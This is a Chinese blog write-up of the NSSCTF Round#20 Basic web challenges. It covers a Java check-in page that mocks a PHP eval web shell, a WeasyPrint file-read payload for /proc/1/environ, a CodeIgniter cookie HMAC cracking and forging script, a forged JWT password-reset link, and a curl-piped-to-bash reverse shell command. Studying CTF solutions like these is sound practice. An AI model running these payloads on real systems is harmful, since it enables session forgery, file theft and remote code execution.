NSSRound#20 Basic-web专项

首先是难以评价的web签到。

给了个假页面,出题人发了blog可以看看:

NSSCTF Round#20 Basic 真亦假,假亦真 CSDN_To_PDF V1.2 出题笔记 (附wp+源码)-CSDN博客

看起来是php,结果是java写的(emmmmmmm....出题人你6,还真是无java不web啊),让我想起了冬季春秋杯有个题,也是php的页面,但是是python写的flask,最后是爆cookie好像hhhh,给我们队的人都恶心坏了,不知道出题人的灵感是不是来自这里。

package org.nss.nss_true_boot01;

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.bind.annotation.RestController;

@RestController
public class TestController {

    @GetMapping("/")
    @ResponseBody
    public String index() {
        return "<!DOCTYPE html>" +
                "<html>" +
                "<head><title>签到题题题</title></head>" +
                "<body>" +
                "<h1>" +
                "签到题,直接送大家shell了,做好事不留名,我叫Jay17(6s后页面跳转)<br>" +
                "</h1>" +
                "<script>" +
                "setTimeout(function() {" +
                "    window.location.href = '/shell.php';" +
                "}, 6000);" +
                "</script>" +
                "</body>" +
                "</html>";
    }



    @GetMapping("/shell.php")
    public String shell(){
        String htmlContent = "<!DOCTYPE html>" +
                "<html>" +
                "<body>" +
                "<code><span style=\"color: #000000\">" +
                "<span style=\"color: #0000BB\">&lt;?</span><span style=\"color: #DD0000\">php</span><br />" +
                "error_reporting</span><span style=\"color: #007700\">(</span><span style=\"color: #0000BB\">0</span><span style=\"color: #007700\">);" +
                "<br /></span><span style=\"color: #0000BB\">header</span><span style=\"color: #007700\">(</span><span style=\"color: #DD0000\">" +
                "'Content-Type:&nbsp;text/html;&nbsp;charset=utf-8'</span><span style=\"color: #007700\">);" +
                "<br /></span><span style=\"color: #0000BB\">highlight_file</span><span style=\"color: #007700\">(</span><span style=\"color: #0000BB\">" +
                "__FILE__</span><span style=\"color: #007700\">);" +
                "<br /><br /></span><span style=\"color: #FF8000\">//标准一句话木马~" +
                "<br /></span><span style=\"color: #007700\">eval(</span><span style=\"color: #0000BB\">$_POST</span><span style=\"color: #007700\">[" +
                "</span><span style=\"color: #0000BB\">1</span><span style=\"color: #007700\">]);" +
                "<br /></span><span style=\"color: #0000BB\">?&gt;</span>" +
                "</span>" +
                "</code>" +
                "</body>" +
                "</html>";
        return htmlContent;
    }


    @PostMapping("/shell.php")
    public String shellhhhh(){
        String htmlContent = "<!DOCTYPE html>" +
                "<html>" +
                "<body>" +
                "<code><span style=\"color: #000000\">" +
                "<span style=\"color: #0000BB\">&lt;?</span><span style=\"color: #DD0000\">php</span><br />" +
                "error_reporting</span><span style=\"color: #007700\">(</span><span style=\"color: #0000BB\">0</span><span style=\"color: #007700\">);" +
                "<br /></span><span style=\"color: #0000BB\">header</span><span style=\"color: #007700\">(</span><span style=\"color: #DD0000\">" +
                "'Content-Type:&nbsp;text/html;&nbsp;charset=utf-8'</span><span style=\"color: #007700\">);" +
                "<br /></span><span style=\"color: #0000BB\">highlight_file</span><span style=\"color: #007700\">(</span><span style=\"color: #0000BB\">" +
                "__FILE__</span><span style=\"color: #007700\">);" +
                "<br /><br /></span><span style=\"color: #FF8000\">//标准一句话木马~" +
                "<br /></span><span style=\"color: #007700\">eval(</span><span style=\"color: #0000BB\">$_POST</span><span style=\"color: #007700\">[" +
                "</span><span style=\"color: #0000BB\">1</span><span style=\"color: #007700\">]);" +
                "<br /></span><span style=\"color: #0000BB\">?&gt;</span>" +
                "</span>" +
                "</code>" +
                "真是shell我能给你?"+
                "</body>" +
                "</html>";
        return htmlContent;
    }


    @GetMapping("/flag")
    public String flag(){
        return "真是shell我能给你?不过flag真给你,师傅们玩的愉快~:NSS{Checkin_h4v3_4_g00D_tINNe!}";
    }


}

然后一打flag就有了。

CSDN_To_PDF V1.2

这道题可以说一下,打开是一个csdn页面转pdf的东西,虽然转下来的也很垃。

开始我猜测是XSS,我猜html转pdf的解析过程可以把js脚本注入进去,然后XSS成功。

但是没打出来,最后也就不了了之了。

看wp才知道,这道题没到XSS那个程度,只是有点像。

这个站点检测必须要包含blog.csdn.net,但可以创文件夹绕过,而且还把html给置空,这一点我测的时候发现了,所以马上想打可以双写绕过。

http://vps:port/blog.csdn.net/1.hhtmltml

测一下是用什么工具转html为PDF的:

可以看到用的WeasyPrint。

那么搭一个html(据说是老赛棍的直觉读环境变量):

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
</head>
<body>
<link rel="attachment" href="file:///proc/1/environ">
</body>
</html>

然后就会下载output.pdf,直接打不开,用binwalk可以分:

NSSCTF{5e94b5be-3a7c-417c-8c0b-5a688d7712f8}

两道零解题

估计是大赛棍都去打其他比赛了,所以没人做这俩。

baby-Codeigniter

首先是弱密码一试就进去了,admin/123456。

进去看到个文件上传。

然后我就去搜Codeigniter的uploadCVE,然而没有搜到有用的。

所以我就传了个正常的图片上去,提示我不是superadmin。

抓个包看看,把这个cookie解码一下,发现有个权限的设定。

我改了b:0为b:1,然后放包,直接给我退回登录界面了。

那么估计跟后面那段hash字符串有关,如果要提权必须伪造这里的hash。

可以找到:

客户端 session 导致的安全问题 | 离别歌 (leavesongs.com)

dionach/CodeIgniterXor: CodeIgniter <=2.1.4 session cookie decryption vulnerability (github.com)

但是直接爆是不行的。

后来才知道不是用的xor加密,而是hash_hmac加密。

把这个框架设置cookie加密的代码扒一下:

function _set_cookie($cookie_data = NULL)  
    {  
        if (is_null($cookie_data))  
        {  
            $cookie_data = $this->userdata;  
        }  
  
        // Serialize the userdata for the cookie  
        $cookie_data = $this->_serialize($cookie_data);  
  
        if ($this->sess_encrypt_cookie == TRUE)  
        {  
            $cookie_data = $this->CI->encrypt->encode($cookie_data);  
        }  
  
        $cookie_data .= hash_hmac('sha1', $cookie_data, $this->encryption_key);  
  
        $expire = ($this->sess_expire_on_close === TRUE) ? 0 : $this->sess_expiration + time();  
  
        // Set the cookie  
        setcookie(  
            $this->sess_cookie_name,  
            $cookie_data,  
            $expire,  
            $this->cookie_path,  
            $this->cookie_domain,  
            $this->cookie_secure  
        );

意为:

· _set_cookie 函数接受一个参数 $cookie_data,如果没有传入参数,则默认使用 $this->userdata。

· 首先对 $cookie_data 进行序列化(_serialize 函数的作用)。

· 如果 $this->sess_encrypt_cookie 为 TRUE,则对 $cookie_data 进行加密。

· 添加一个哈希消息验证码,使用 HMAC-SHA1 算法,将其添加到 $cookie_data 末尾。

· 计算 cookie 的过期时间,如果 $this->sess_expire_on_close 为 TRUE,则过期时间为 0,否则为当前时间加上 $this->sess_expiration。

· 最后调用 setcookie 函数来设置 cookie,参数包括 cookie 名称、cookie 数据、过期时间、路径、域和安全选项。

然而环境的sess_encrypt_cookie为false。

登录成功之后,返回给我们了 cookie,而非 PHPSESSID,验证信息存储在了客户端,而非服务端,就导致我们可以篡改。

那直接开爆。

用的官方脚本:

import hmac
import urllib.parse
import hashlib
import sys
import time

def EncryCookie(cookie,secret):
    cookie = urllib.parse.unquote_plus(cookie)
    cookielen=len(cookie)-40
    cookie = cookie[:cookielen].replace('"superadmin";b:0;}','"superadmin";b:1;}')
    hmacstr=hmac.new(secret.encode("utf-8"),cookie.encode("utf-8"),hashlib.sha1).hexdigest()
    return urllib.parse.quote_plus(cookie+hmacstr)


def CrackSecret(cookie,secret):
    cookie = urllib.parse.unquote_plus(cookie)
    cookielen=len(cookie)-40
    hmac_check = cookie[cookielen:]
    cookie = cookie[:cookielen]
    hmacstr=hmac.new(secret.encode("utf-8"),cookie.encode("utf-8"),hashlib.sha1).hexdigest()
    return hmac_check == hmacstr

if __name__ == "__main__":
    cookie = sys.argv[1]
    secrets = []
    with open("secret.txt") as f:
        secrets = f.readlines()
    print("开始爆破:")
    starttime=time.time()
    for secret in secrets:
        secret=secret.strip("\n")
        result  = CrackSecret(cookie,secret)
        if result == True:
            print("[+]Secret:"+secret)
            encrycookie=EncryCookie(cookie,secret)
            print(encrycookie)
            endtime=time.time()
            print("耗时:"+str(endtime-starttime))
            exit(0)
        else:
            print("[-]Secret:"+secret)

secret.txt我也不知道咋来的,没搜到,不知道能不能扫出来,这里我自己写了几个弱密码去碰撞(应该就是123456)。

可以看到已经把一句话木马传上去了,并且给了路径。

更完美的思路看出题人:

CTF-BabyCodeIgniter-Web出题记(1) - N1Rvana's Blog (nlrvana.github.io)

组合拳!

注册个账号尝试登录,显示权限过低,在登录的时候就要提权了。
进不去自然没有后话了。
看看还有啥功能,点一下忘记密码呢,它会给你邮箱发个消息:

前面没啥,后面一眼jwt。

拿去爆一下:

dirsearch扫一下扫到了两个目录:

/README.md

/.well-known/security.txt

第一个没用,第二个访问得到管理员邮箱:

Administrator@163.com

思路有了,伪造管理员邮箱然后重置密码,就能进后台了。

访问:

http://node6.anna.nssctf.cn:28469/#/reset_token?email=Administrator@163.com&token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiYWRtaW4iLCJlbWFpbCI6IkFkbWluaXN0cmF0b3JAMTYzLmNvbSIsInR5cGUiOjN9.gLGJ466r0f-Pr6a7ie9eKvTuupQ-vrCklcJEdIWIPwA

注意伪造的时候别出现空格,我第一次就是输邮箱多输了个空格然后重置不了,开始怀疑人生....

此处找到一个资源下载的位置:

解密一下:

按道理来说,这里更新任务就能直接读了,但是有个时间864000s的狗屎时间限制,等它搞完我靶机都关了....

另辟蹊径。

看看js:

google浏览器用着舒服,就没用firefox了。

每当更新任务时,都会调用getKey,生成kyecode:

搜一下这个keycode:

case 8:
    if (o = r.keycode,
    o || "string" === typeof o) {
    t.next = 11;
    break
}
    return t.abrupt("return", !1);
case 11:
    for (c = [], l = 0; l < n.length; l++)
        u = 2 * l % o.length,
        d = parseInt(o.slice(u, u + 2), 16),
        c.push(n[l].charCodeAt() ^ d);
    return f = e.from(c),
    t.abrupt("return", f.toString("base64"));

可以看出,进case 8后,判断如果keycode是string,就跳case11。

return处打断点,测一下(借Z3r4y师傅图一用):

 

curl反弹shell:

__import__('os').system('curl http://vps:port/bash.html | bash')

html里写bash一句话反弹,然后转base64。

打断点控制台改time交了。

但最后调js的时候始终有问题,我是懒狗,不想再做了,就没继续了,可以去看官方wp。

 

 

参考:

【Web】NSSCTF Round#20 Basic 两道0解题的赛后谈-CSDN博客

posted @ 2024-03-31 19:18  Eddie_Murphy  阅读(128)  评论(0编辑  收藏  举报